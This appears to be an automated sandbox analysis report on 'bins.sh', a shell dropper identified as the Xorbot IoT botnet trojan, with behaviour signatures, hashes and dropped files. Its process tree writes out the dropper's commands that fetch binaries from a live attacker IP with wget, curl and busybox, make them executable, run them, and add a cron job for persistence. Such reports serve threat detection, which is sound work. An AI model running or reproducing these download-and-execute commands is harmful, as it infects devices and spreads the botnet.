Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    29/01/2025, 00:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250129-ag68layjbr
  • SHA256 c1e3094f43b2b3f5cb23e3d83c4e7c659abeb3d4029b1ca672ff1347874641e6
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1311) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:703
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:706
      • /usr/bin/wget
        wget http://94.154.35.94/bins/ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
        2⤵
        • Writes file to tmp directory
        PID:708
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
        2⤵
        • Writes file to tmp directory
        PID:731
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
        2⤵
        • Writes file to tmp directory
        PID:733
      • /bin/chmod
        chmod 777 ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
        2⤵
        • File and Directory Permissions Modification
        PID:734
      • /tmp/ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
        ./ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
        2⤵
          PID:735
        • /bin/rm
          rm ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
          2⤵
            PID:737
          • /usr/bin/wget
            wget http://94.154.35.94/bins/yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
            2⤵
            • Writes file to tmp directory
            PID:738
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
            2⤵
            • Writes file to tmp directory
            PID:740
          • /bin/chmod
            chmod 777 yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
            2⤵
            • File and Directory Permissions Modification
            PID:741
          • /tmp/yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
            ./yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
            2⤵
              PID:743
            • /bin/rm
              rm yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
              2⤵
                PID:746
              • /usr/bin/wget
                wget http://94.154.35.94/bins/YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                2⤵
                • Writes file to tmp directory
                PID:747
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:762
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                2⤵
                • Writes file to tmp directory
                PID:777
              • /bin/chmod
                chmod 777 YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                2⤵
                • File and Directory Permissions Modification
                PID:788
              • /tmp/YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                ./YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                2⤵
                  PID:789
                • /bin/rm
                  rm YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                  2⤵
                    PID:792
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                    2⤵
                    • Writes file to tmp directory
                    PID:794
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                    2⤵
                    • Writes file to tmp directory
                    PID:798
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                    2⤵
                    • Writes file to tmp directory
                    PID:799
                  • /bin/chmod
                    chmod 777 j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                    2⤵
                    • File and Directory Permissions Modification
                    PID:800
                  • /tmp/j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                    ./j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                    2⤵
                      PID:801
                    • /bin/rm
                      rm j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                      2⤵
                        PID:803
                      • /usr/bin/wget
                        wget http://94.154.35.94/bins/cr0ngC7rVcHtem1ylYFJPSWKC27TPtgon5
                        2⤵
                        • Writes file to tmp directory
                        PID:804
                      • /usr/bin/curl
                        curl -O http://94.154.35.94/bins/cr0ngC7rVcHtem1ylYFJPSWKC27TPtgon5
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:805
                      • /bin/busybox
                        /bin/busybox wget http://94.154.35.94/bins/cr0ngC7rVcHtem1ylYFJPSWKC27TPtgon5
                        2⤵
                        • Writes file to tmp directory
                        PID:814
                      • /bin/chmod
                        chmod 777 cr0ngC7rVcHtem1ylYFJPSWKC27TPtgon5
                        2⤵
                        • File and Directory Permissions Modification
                        PID:820
                      • /tmp/cr0ngC7rVcHtem1ylYFJPSWKC27TPtgon5
                        ./cr0ngC7rVcHtem1ylYFJPSWKC27TPtgon5
                        2⤵
                          PID:822
                        • /bin/rm
                          rm cr0ngC7rVcHtem1ylYFJPSWKC27TPtgon5
                          2⤵
                            PID:825
                          • /usr/bin/wget
                            wget http://94.154.35.94/bins/u0xjpMMhqfun9ZiWsqo2fFWJmm4DEBu8OM
                            2⤵
                            • Writes file to tmp directory
                            PID:826
                          • /usr/bin/curl
                            curl -O http://94.154.35.94/bins/u0xjpMMhqfun9ZiWsqo2fFWJmm4DEBu8OM
                            2⤵
                            • Writes file to tmp directory
                            PID:842
                          • /bin/busybox
                            /bin/busybox wget http://94.154.35.94/bins/u0xjpMMhqfun9ZiWsqo2fFWJmm4DEBu8OM
                            2⤵
                            • Writes file to tmp directory
                            PID:843
                          • /bin/chmod
                            chmod 777 u0xjpMMhqfun9ZiWsqo2fFWJmm4DEBu8OM
                            2⤵
                            • File and Directory Permissions Modification
                            PID:844
                          • /tmp/u0xjpMMhqfun9ZiWsqo2fFWJmm4DEBu8OM
                            ./u0xjpMMhqfun9ZiWsqo2fFWJmm4DEBu8OM
                            2⤵
                              PID:845
                            • /bin/rm
                              rm u0xjpMMhqfun9ZiWsqo2fFWJmm4DEBu8OM
                              2⤵
                                PID:847
                              • /usr/bin/wget
                                wget http://94.154.35.94/bins/8NeCk7J4mS7qbVZvBzJZbBx13wNrCSSLQu
                                2⤵
                                • Writes file to tmp directory
                                PID:848
                              • /usr/bin/curl
                                curl -O http://94.154.35.94/bins/8NeCk7J4mS7qbVZvBzJZbBx13wNrCSSLQu
                                2⤵
                                • Writes file to tmp directory
                                PID:852
                              • /bin/busybox
                                /bin/busybox wget http://94.154.35.94/bins/8NeCk7J4mS7qbVZvBzJZbBx13wNrCSSLQu
                                2⤵
                                • Writes file to tmp directory
                                PID:853
                              • /bin/chmod
                                chmod 777 8NeCk7J4mS7qbVZvBzJZbBx13wNrCSSLQu
                                2⤵
                                • File and Directory Permissions Modification
                                PID:854
                              • /tmp/8NeCk7J4mS7qbVZvBzJZbBx13wNrCSSLQu
                                ./8NeCk7J4mS7qbVZvBzJZbBx13wNrCSSLQu
                                2⤵
                                • Renames itself
                                • Reads runtime system information
                                PID:855
                                • /bin/sh
                                  sh -c "crontab -l"
                                  3⤵
                                    PID:857
                                    • /usr/bin/crontab
                                      crontab -l
                                      4⤵
                                        PID:858
                                    • /bin/sh
                                      sh -c "crontab -"
                                      3⤵
                                        PID:859
                                        • /usr/bin/crontab
                                          crontab -
                                          4⤵
                                          • Creates/modifies Cron job
                                          • Reads runtime system information
                                          PID:860
                                    • /bin/rm
                                      rm 8NeCk7J4mS7qbVZvBzJZbBx13wNrCSSLQu
                                      2⤵
                                        PID:862
                                      • /usr/bin/wget
                                        wget http://94.154.35.94/bins/kbJQoKbwIKdIcQ37Yfun9Bdk198yWjdLT9
                                        2⤵
                                          PID:865

                                      Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            8NeCk7J4mS7qbVZvBzJZbBx13wNrCSSLQu
                                            • Path /tmp/8NeCk7J4mS7qbVZvBzJZbBx13wNrCSSLQu
                                            • Size 151KB
                                            • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                                            • Path /tmp/YWjXwmY4I1d8wWUcYf24T6ySnqEfQiWcCe
                                            • Size 98KB
                                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            cr0ngC7rVcHtem1ylYFJPSWKC27TPtgon5
                                            • Path /tmp/cr0ngC7rVcHtem1ylYFJPSWKC27TPtgon5
                                            • Size 111KB
                                            • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                                            • Path /tmp/j7PbqStP38vJaG4cHpbOD5T5GiSbbPXLid
                                            • Size 119KB
                                            • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
                                            • Path /tmp/ksJJxsNDsmY4Thu5PZVIc3opM3KexWUY39
                                            • Size 107KB
                                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            u0xjpMMhqfun9ZiWsqo2fFWJmm4DEBu8OM
                                            • Path /tmp/u0xjpMMhqfun9ZiWsqo2fFWJmm4DEBu8OM
                                            • Size 177KB
                                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
                                            • Path /tmp/yFSwML0YuETXGX6LWfZ27wgbRo95CYpBN5
                                            • Size 99KB
                                            • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            tmp.b1bukL
                                            • Path /var/spool/cron/crontabs/tmp.b1bukL
                                            • Size 210B
                                            • SHA256 f23f5c918b3ecb86ea0d5d35a176852f09abdb5514dfe2bdeb88d2e1d779b13a
                                            • MD5 SHA1 SHA512
                                            Submit Download